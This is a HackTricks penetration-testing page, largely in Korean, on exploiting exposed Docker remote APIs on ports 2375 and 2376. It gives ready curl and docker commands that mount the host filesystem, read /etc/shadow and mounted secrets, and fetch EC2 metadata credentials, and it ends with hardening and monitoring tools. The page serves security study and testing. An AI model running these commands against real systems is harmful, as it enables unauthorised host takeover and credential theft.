hacktricks/network-services-pentesting/2375-pentesting-docker.md

24 KiB
Raw Blame History

2375, 2376 Pentesting Docker

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Docker Basics

What is

Docker는 컨테이너화 산업최전선 플랫폼으로, 지속적인 혁신을 선도합니다. 이는 전통적인 것부터 미래적인 것까지 애플리케이션의 손쉬운 생성 및 배포를 촉진하며, 다양한 환경에서의 안전한 배포를 보장합니다.

Basic docker architecture

  • containerd: 이는 컨테이너의 라이프사이클을 포괄적으로 관리하는 핵심 런타임입니다. 여기에는 이미지 전송 및 저장을 처리하고, 컨테이너의 실행, 모니터링 및 네트워킹을 감독하는 것이 포함됩니다. containerd에 대한 더 자세한 통찰추가적으로 탐구됩니다.
  • container-shim헤드리스 컨테이너를 처리하는 데 있어 중개자로서 중요한 역할을 하며, 컨테이너가 초기화된 후 runc에서 원활하게 인계받습니다.
  • runc: 경량 및 범용 컨테이너 런타임 기능으로 유명한 runc는 OCI 표준에 맞춰져 있습니다. 이는 containerd에 의해 OCI 지침에 따라 컨테이너를 시작하고 관리하는 데 사용되며, 원래의 libcontainer에서 발전하였습니다.
  • grpccontainerd와 docker-engine 간의 통신을 촉진하는 데 필수적이며, 효율적인 상호작용을 보장합니다.
  • OCI는 런타임 및 이미지에 대한 OCI 사양을 유지하는 데 중요한 역할을 하며, 최신 Docker 버전은 OCI 이미지 및 런타임 표준을 모두 준수합니다.

Basic commands

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

ContainerdDocker와 Kubernetes와 같은 컨테이너 플랫폼의 요구를 충족시키기 위해 특별히 개발되었습니다. 이는 Linux, Windows, Solaris 등 다양한 운영 체제에서 컨테이너 실행을 단순화하는 것을 목표로 하며, 운영 체제별 기능과 시스템 호출을 추상화합니다. Containerd의 목표는 사용자에게 필요한 필수 기능만 포함하고 불필요한 구성 요소는 생략하는 것입니다. 그러나 이 목표를 완전히 달성하는 것은 도전적인 것으로 인정됩니다.

주요 설계 결정 중 하나는 Containerd가 네트워킹을 처리하지 않는다는 것입니다. 네트워킹은 분산 시스템에서 중요한 요소로 간주되며, 소프트웨어 정의 네트워킹(SDN) 및 서비스 발견과 같은 복잡성은 플랫폼마다 크게 다릅니다. 따라서 Containerd는 지원하는 플랫폼이 네트워킹 측면을 관리하도록 남겨둡니다.

Docker가 Containerd를 사용하여 컨테이너를 실행하는 동안, Containerd는 Docker의 기능 중 일부만 지원한다는 점에 유의해야 합니다. 구체적으로, Containerd는 Docker에 있는 네트워크 관리 기능이 없으며 Docker 스웜의 생성을 직접 지원하지 않습니다. 이 구분은 Containerd가 컨테이너 런타임 환경으로서의 집중된 역할을 강조하며, 통합하는 플랫폼에 더 전문화된 기능을 위임합니다.

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podman은 Red Hat에서 개발하고 유지 관리하는 오픈 소스 컨테이너 엔진으로, Open Container Initiative (OCI) 표준을 준수합니다. 데몬 없는 아키텍처루트 없는 컨테이너 지원 등 여러 가지 독특한 기능으로 Docker와 차별화됩니다. 이를 통해 사용자는 루트 권한 없이 컨테이너를 실행할 수 있습니다.

Podman은 Docker의 API와 호환되도록 설계되어 Docker CLI 명령어를 사용할 수 있습니다. 이 호환성은 컨테이너 이미지 빌드를 위한 Buildah와 푸시, 풀, 검사와 같은 이미지 작업을 위한 Skopeo와 같은 도구를 포함하는 생태계로 확장됩니다. 이러한 도구에 대한 자세한 내용은 GitHub 페이지에서 확인할 수 있습니다.

주요 차이점

  • 아키텍처: Docker의 클라이언트-서버 모델과 백그라운드 데몬과 달리, Podman은 데몬 없이 작동합니다. 이 설계는 컨테이너가 시작한 사용자의 권한으로 실행되므로 루트 접근이 필요 없어 보안을 강화합니다.
  • Systemd 통합: Podman은 systemd와 통합되어 컨테이너를 관리하며, systemd 유닛을 통해 컨테이너 관리를 가능하게 합니다. 이는 Docker가 주로 Docker 데몬 프로세스를 관리하기 위해 systemd를 사용하는 것과 대조적입니다.
  • 루트 없는 컨테이너: Podman의 중요한 기능은 시작하는 사용자의 권한으로 컨테이너를 실행할 수 있는 능력입니다. 이 접근 방식은 공격자가 루트 접근이 아닌 손상된 사용자의 권한만 얻도록 하여 컨테이너 침해와 관련된 위험을 최소화합니다.

Podman의 접근 방식은 사용자 권한 관리와 기존 Docker 워크플로우와의 호환성을 강조하며 Docker에 대한 안전하고 유연한 대안을 제공합니다.

{% hint style="info" %} Podman이 Docker와 동일한 API를 지원하는 것을 목표로 하므로, 다음과 같은 Docker와 동일한 명령어를 Podman에서도 사용할 수 있습니다:

podman --version
podman info
pdoman images ls
podman ls

{% endhint %}

기본 정보

Remote API는 활성화되면 기본적으로 2375 포트에서 실행됩니다. 기본적으로 이 서비스는 인증을 요구하지 않으며, 공격자가 권한이 있는 도커 컨테이너를 시작할 수 있게 합니다. Remote API를 사용하면 호스트 / (루트 디렉토리)를 컨테이너에 연결하고 호스트 환경의 파일을 읽거나 쓸 수 있습니다.

기본 포트: 2375

PORT    STATE SERVICE
2375/tcp open  docker

Enumeration

Manual

docker API를 열거하기 위해 docker 명령어 또는 curl을 사용할 수 있다는 점에 유의하세요. 다음 예와 같이:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

원격 docker API에 docker 명령어로 연락할 수 있다면, 서비스와 상호작용하기 위해 이전에 언급된 docker 명령어실행할 수 있습니다.

{% hint style="info" %} export DOCKER_HOST="tcp://localhost:2375"를 사용하여 docker 명령어와 함께 -H 매개변수를 사용하지 않을 수 있습니다. {% endhint %}

빠른 권한 상승

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

가끔 TLS 엔드포인트에 2376이 열려 있는 것을 볼 수 있습니다. 도커 클라이언트로는 연결할 수 없었지만 curl로는 연결할 수 있습니다.

#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, its also worth checking out services in case they are adding secrets via environment variables)
curl -s insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

더 많은 정보가 필요하면, 내가 명령어를 복사한 곳에서 더 많은 정보를 확인할 수 있습니다: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

자동

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Compromising

다음 페이지에서는 도커 컨테이너에서 탈출하는 방법을 찾을 수 있습니다:

{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}

이를 악용하면 컨테이너에서 탈출할 수 있으며, 원격 머신에서 약한 컨테이너를 실행하고, 그로부터 탈출하여 머신을 타협할 수 있습니다:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

권한 상승

docker를 사용하는 호스트 내부에 있는 경우, 권한을 상승시키기 위해 이 정보를 읽어보세요.

실행 중인 Docker 컨테이너에서 비밀 발견하기

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

env (환경 변수 섹션)을 확인하여 비밀 정보를 찾으면 다음과 같은 항목을 발견할 수 있습니다:

  • 비밀번호.
  • IP.
  • 포트.
  • 경로.
  • 기타… .

파일을 추출하려면:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Securing your Docker

Securing Docker installation and usage

  • 현재 Docker 설치를 검사하기 위해 도구 https://github.com/docker/docker-bench-security를 사용할 수 있습니다.
  • ./docker-bench-security.sh
  • 현재 Docker 설치를 검사하기 위해 도구 https://github.com/kost/dockscan을 사용할 수 있습니다.
  • dockscan -v unix:///var/run/docker.sock
  • 다양한 보안 옵션으로 실행할 때 컨테이너가 가질 권한을 검사하기 위해 도구 https://github.com/genuinetools/amicontained를 사용할 수 있습니다. 이는 컨테이너를 실행하기 위해 일부 보안 옵션을 사용할 때의 의미를 아는 데 유용합니다:
  • docker run --rm -it r.j3ss.co/amicontained
  • docker run --rm -it --pid host r.j3ss.co/amicontained
  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Securing Docker Images

  • 다른 Docker 이미지를 스캔하고 취약점을 찾기 위해 https://github.com/quay/clair의 Docker 이미지를 사용할 수 있습니다.
  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Securing Dockerfiles

Logging Suspicious activity

  • 실행 중인 컨테이너에서 의심스러운 행동을 감지하기 위해 도구 https://github.com/falcosecurity/falco를 사용할 수 있습니다.
  • 다음 부분에서 Falco가 커널 모듈을 컴파일하고 삽입하는 방법에 주목하세요. 그 후, 규칙을 로드하고 의심스러운 활동을 기록하기 시작합니다. 이 경우, 2개의 특권 컨테이너가 시작되었고, 그 중 1개는 민감한 마운트를 가지고 있으며, 몇 초 후에 하나의 컨테이너 내부에서 셸이 열리는 것을 감지했습니다.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Docker 모니터링

auditd를 사용하여 docker를 모니터링할 수 있습니다.

참고자료

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}